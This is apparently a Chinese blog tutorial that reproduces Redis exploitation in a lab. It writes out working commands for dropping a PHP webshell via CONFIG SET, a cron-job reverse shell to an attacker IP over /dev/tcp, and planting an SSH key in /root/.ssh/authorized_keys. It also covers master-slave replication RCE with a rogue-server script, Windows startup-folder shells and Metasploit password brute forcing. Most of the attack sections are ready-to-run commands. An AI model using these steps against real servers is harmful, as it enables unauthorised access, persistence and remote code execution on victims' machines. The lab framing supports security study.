redis漏洞复现
目录redis准备启动redis服务器redis漏洞利用写入webshell计划任务反弹shell写入公钥远程连接主从复制RCE(Linux)主从同步RCE漏洞复现Windows自启动redis密码暴力破解由于最近github的问题,已备好资源包 提取码:ks18redis准备Linux安装:https://redis.io/downloadtar xzf redis-6.0.1.tar.gzcd
目录
由于最近github的问题,已备好
资源包 提取码:ks18
redis准备
Linux
安装:
tar xzf redis-6.0.1.tar.gz
cd redis-6.0.1
make
方便直接调用:
cp redis-server redis-cli /usr/bin
cp redis.conf /etc/
修改配置文件,
漏洞复现过程中修改配置文件
bind 127.0.0.1 => bind 0.0.0.0 //开启远程访问
protected-mode yes => protested-mode no
windows同linux
安装包资源包中会被分享
启动redis服务器
redis-server /etc/redis.conf
使用客户端成功连接
redis漏洞利用
写入webshell
要求
成功连接redis服务器
知道web根目录的绝对路径
redis服务器用户有写入权限
复现环境
服务器:kali2020.3 开启 redis 和 apache2 IP:192.168.1.154
攻击机:ubuntu IP:192.168.1.129
攻击机测试redis连接正常(服务端确定远程访问开启并关闭保护模式)
目标:在服务器端/var/wwww/html/redis_test/目录下写入webshell
CONFIG SET dir "/var/www/html/redis_test" //chang database file location
CONFIG SET dbfilename phpinfo.php //change database file name
set x "<?php phpinfo();?>" //inject shell payload into database
save //save database to file
成功写入
计划任务反弹shell
要求:
centos服务主机(其他类型的系统,如ubuntu、Debian 由于redis写到计划任务中的命令总会不可避免的出现乱码,而只有centos主机会忽略乱码继续执行)
搭建centos环境 --> https://blog.csdn.net/weixin_43252204/article/details/115182088
连接到centos redis服务器,这里避免与kali主机的redis端口冲突,docker映射为6378
在192.168.1.150 主机上开启端口监听
CONFIG SET dir /var/spool/cron
CONFIG SET dbfilename root
set x "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.150/6666 0>&1\n\n"
save
等待片刻,即可弹回shell
写入公钥远程连接
本地生成公私钥文件
ssh-keygen -t rsa
将公钥内容写入key.txt文件
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
将key.txt文件中的公钥设置给redis的变量
cat /root/.ssh/key.txt | redis-cli -h 192.168.1.154 -x set tide
在被攻击机的/root/.ssh目录下写入authorized_keys
可以发现在被攻击kali主机的/root/.ssh目录下已经生成authorized_keys文件
此时使用私钥连接(ssh第一次连接时要加上 -o StrictHostKeyChecking=no)
ssh -o StrictHostKeyChecking=no 192.168.1.154
连接成功
主从复制RCE(Linux)
先来看看什么是redis主从复制
redis为了应对读写流量大的情况时,增加了主从模式,此时,会有一个redis服务器作为主机,其他从属这台主机的redis服务器作为备份机,主机只负责写,从机负责来读,这样就大大减轻了redis主机的读写负担。
利用条件
redis从4.x版本之后加入了新的模块,通过外部拓展,可以实现在一个redis中实现新的Redis命令的功能,通过写c语言并编译出.so文件
redis:4.x - redis:5.0.5
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so恶意文件,就可以拓展新命令
主从同步示例
这边开两台redisdocker
redis 5.0.4的测试环境已搭好上传至dockerhub 有需要的:docker pull beglage/centos_redis_5
主从同步演示,可以看到在两台机器使用slafveof作主从同步之后,主机.3设置c的值为1时,主机.2得到的c的值也变为2
主从同步RCE漏洞复现
复现环境
kali2020.3
redis5.0.4 docker容器
redis4.x - 5.0.5
启动redis5.0.4 docker容器
容器IP:172.17.0.2
下载并编译恶意文件
git clone https://github.com/RicterZ/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand-master/
make
下载利用脚本
https://github.com/LoRexxar/redis-rogue-server
cd redis-rogue-server-master/
复制恶意文件至当前目录下以备攻击使用
cp ../RedisModules-ExecuteCommand-master/module.so ./exp.so
攻击原理
摘自: https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
攻击者在本地电脑上开启redis服务,实现主从同步,让待攻击服务器成为我们的从机,之后与待攻击服务器进行初始握手,接下来为执行的脚本设置调试模式,然后使用断点触发调试器,最后借助调试器执行我们的命令,就可RCE!
攻击
python3 redis-rogue-server.py --rhost 172.17.0.2 --rport 6379 --lhost 172.17.0.1
参数
--rhost 指定要攻击的服务器(开启的docker容器)
--rport 指定端口
--lhost 指定本地攻击ip(这里我本机在docker环境下的ip就是172.17.0.1)
--lport 指定要攻击是从本机的哪个端口开放redis服务 (默认21000)
攻击成功之后链接到对方redis服务器就可RCE
Windows自启动
windows启动redis服务器,远程连接,直接写入shell至自启动目录
windwos反弹shell的姿势可参考:----> https://www.jianshu.com/p/1a9ff74fee48
由于redis写入自启动文件时会有额外的干扰数据 前后使用\r\n\r\n 可保证要执行的命令在一行中,windows按行执行shell
成功写入
当windows账号重启时可以弹回shell
redis密码暴力破解
开启redis密码登录校验
添加-a参数可以指定密码访问
使用msf的auxiliary/scanner/redis/redis_login模块,配置攻击目标和指定字典
参考博文:
https://www.freebuf.com/articles/web/237263.html
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
https://uknowsec.cn/posts/notes/Redis%E5%9C%A8Windows%E7%8E%AF%E5%A2%83%E4%B8%8BGetshell.html
更多推荐
所有评论(0)